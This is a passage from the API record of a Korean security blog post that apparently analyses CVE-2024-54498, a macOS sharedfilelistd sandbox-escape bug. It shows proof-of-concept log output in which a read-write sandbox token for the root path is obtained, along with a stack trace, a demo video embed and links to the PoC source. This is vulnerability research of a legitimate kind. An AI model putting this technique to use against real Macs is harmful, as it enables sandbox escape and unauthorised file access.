\uc138\ud2b8\ub418\uc5b4, \ucd94\ud6c4\uc5d0 sandbox_extension_issue_file \ud568\uc218\ub97c \ud638\ucd9c\uc2dc\ud0ac \uc218 \uc788\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uc774\uc81c LSSharedFileListItemResolve \ud568\uc218\ub97c \ud638\ucd9c\uc2dc\ud0a4\uba74 \ubd81\ub9c8\ud06c \ub9ac\uc2a4\ud2b8\ub97c \uac00\uc838\uc624\uba74\uc11c \u201c\/\u201d, \uc989 \uc804\uccb4 \uacbd\ub85c\uc5d0 \ub300\ud55c \uc0cc\ub4dc\ubc15\uc2a4 \ud1a0\ud070\uc744 \ubc1c\uae09\ubc1b\uc544 sandbox_extension_consume \ud568\uc218\ub97c \ud638\ucd9c\ud558\ub294 \uac83\uc744 \ud655\uc778\ud560 \uc218 \uc788\uc5c8\ub2e4.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">2025-01-09 20:59:24.855 CVE-2024-54498[648:5371] [+] Called sandbox_extension_consume, ret = 2, extension_token = 228a2474e63a51fb2053ff7e315c4cda08003499b72ff3d769482d5d67a94df2;00;00000000;00000000;00000000;0000000000000020;com.apple.app-sandbox.read-write;01;01000013;0000000000000002;02;\/\n2025-01-09 20:59:24.858 CVE-2024-54498[648:5371] [+] sandbox_extension_consume trace: (\n    0   CVE-2024-54498                      0x0000000102caea68 hook_sandbox_extension_consume + 84\n    1   CoreServicesInternal                0x00000001945717fc _ZN21SandboxExtensionCache8_consumeEPK10__CFStringPK8__CFDataPS5_ + 204\n    2   CoreServicesInternal                0x00000001945716a0 _ZN21SandboxExtensionCache7consumeEPK7__CFURLPK8__CFData + 104\n    3   CoreServicesInternal                0x000000019456e738 _FSURLStartAccessingSecurityScopedResource + 84\n    4   CoreFoundation                      0x0000000190c91cf8 CFURLStartAccessingSecurityScopedResource + 16\n    5   CoreFoundation                      0x0000000190c91cbc -[NSURL startAccessingSecurityScopedResource] + 68\n    6   SharedFileList                      0x0000000199d55174 __47-[_SFLItemWrapper initWithItem:listIdentifier:]_block_invoke + 332\n    7   SharedFileList                      0x0000000199d54c84 -[SFLBookmark resolveWithOptions:relativeToURL:error:] + 128\n    8   SharedFileList                      0x0000000199d54ac8 +[SFLList(LSSharedFileListSupport) resolveItem:resolutionFlags:error:] + 84\n    9   SharedFileList                      0x0000000199d60e64 LSSharedFileListItemCopyResolvedURL + 144\n    10  CVE-2024-54498                      0x0000000102cae45c trigger_exploit + 336\n    11  CVE-2024-54498                      0x0000000102cae8a4 -[ViewController exploitButton:] + 268\n    12  AppKit                              0x00000001948ec87c -[NSApplication(NSResponder) sendAction:to:from:] + 460\n    13  AppKit                              0x00000001948ec680 -[NSControl sendAction:to:] + 72\n    14  AppKit                              0x00000001948ec5c4 __26-[NSCell _sendActionFrom:]_block_invoke + 100\n    15  AppKit                              0x00000001948ec4ec -[NSCell _sendActionFrom:] + 204\n    16  AppKit                              0x00000001948ec3e8 -[NSButtonCell _sendActionFrom:] + 96\n    17  AppKit                              0x00000001948e9970 NSControlTrackMouse + 1480\n    18  AppKit                              0x00000001948e937c -[NSCell trackMouse:inRect:ofView:untilMouseUp:] + 144\n    19  AppKit                              0x00000001948e91f4 -[NSButtonCell trackMouse:inRect:ofView:untilMouseUp:] + 580\n    20  AppKit                              0x00000001948e8678 -[NSControl mouseDown:] + 448\n    21  AppKit                              0x00000001948e7518 -[NSWindow(NSEventRouting) _handleMouseDownEvent:isDelayedEvent:] + 3672\n    22  AppKit                              0x000000019487300c -[NSWindow(NSEventRouting) _reallySendEvent:isDelayedEvent:] + 384\n    23  AppKit                              0x0000000194872cbc -[NSWindow(NSEventRouting) sendEvent:] + 284\n    24  AppKit                              0x000000019508abf0 -[NSApplication(NSEventRouting) sendEvent:] + 1656\n    25  AppKit                              0x0000000194c9889c -[NSApplication _handleEvent:] + 60\n    26  AppKit                              0x000000019473eb08 -[NSApplication run] + 520\n    27  AppKit                              0x0000000194715364 NSApplicationMain + 888\n    28  CVE-2024-54498                      0x0000000102cadf78 main + 44\n    29  dyld                                0x00000001907b8274 start + 2840\n)\n\n<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"attachment:c46eb99c-c7b2-41f9-b2e0-73c7883416b6:image10.png\" alt=\"image10.png\"\/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Demo<\/h2>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<div class=\"nv-iframe-embed\"><iframe loading=\"lazy\" title=\"CVE-2024-54498 Demo\" width=\"1200\" height=\"675\" src=\"https:\/\/www.youtube.com\/embed\/0a_W8PpH0k8?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/div>\n<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Source Code https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/ Write-up https:\/\/github.com\/wh1te4ever\/CVE-2024-54498-PoC\/blob\/main\/CVE-2024-54498_1day_%E1%84%87%E1%85%AE%E1%86%AB%E1%84%89%E1%85%A5%E1%86%A8.pdf \ud574\ub2f9 \ucde8\uc57d\uc810\uc740 macOS Sequoia 15.2, Ventura 13.7.2, Sonoma 14.7.2\uc5d0\uc11c \ud328\uce58\ub418\uc5c8\uc73c\uba70, \uc0cc\ub4dc\ubc15\uc2a4\ub97c \ud0c8\ucd9c\ud560 \uc218 \uc788\ub294 \ucde8\uc57d\uc810\uc774\ub2e4. SharedFileList \uc11c\ube44\uc2a4\uc5d0\uc11c \ucde8\uc57d\uc810\uc774 \ubc1c\uc0dd\ud55c\ub2e4. Diffing \ucde8\uc57d\ud55c macOS 15.1.1 \ubc84\uc804\uacfc \ud328\uce58\ub41c 15.2 \ub300\uc0c1\uc73c\ub85c \ub514\ud551\uc744 \uc9c4\ud589\ud558\uc600\ub2e4. \ucde8\uc57d\uc810\uc774 \ubc1c\uacac\ub41c \ubc14\uc774\ub108\ub9ac\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4. \ubc14\uc774\ub108\ub9ac\ub97c \ucd94\ucd9c\ud574\uc11c Bindiff\ub97c \ud1b5\ud574 \ube44\uad50\ud574\ubd24\uc744 \ub54c, \ud568\uc218 2\uac1c\uc758 \ucc28\uc774\uc810\uc774 \uc874\uc7ac\ud558\uc600\ub2e4. \uba3c\uc800,-[ConnectedProcessshouldExtendSandboxForListIdentifier:] \uba54\uc18c\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4. \u2022&hellip;&nbsp;<a href=\"https:\/\/h4ck.kr\/?p=3750\" rel=\"bookmark\">\ub354 \ubcf4\uae30 &raquo;<span class=\"screen-reader-text\">[1day] CVE-2024-54498: sharedfilelistd: \ub8e8\ud2b8 \uacbd\ub85c\uc5d0 \ub300\ud55c \uc0cc\ub4dc\ubc15\uc2a4 \uc77d\uae30\/\uc4f0\uae30 \ud1a0\ud070 \ubc1c\uae09 \ucde8\uc57d\uc810<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[72],"tags":[13],"class_list":["post-3750","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-macos"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3750","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3750"}],"version-history":[{"count":2,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3750\/revisions"}],"predecessor-version":[{"id":3916,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/3750\/revisions\/3916"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3750"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3750"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3750"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}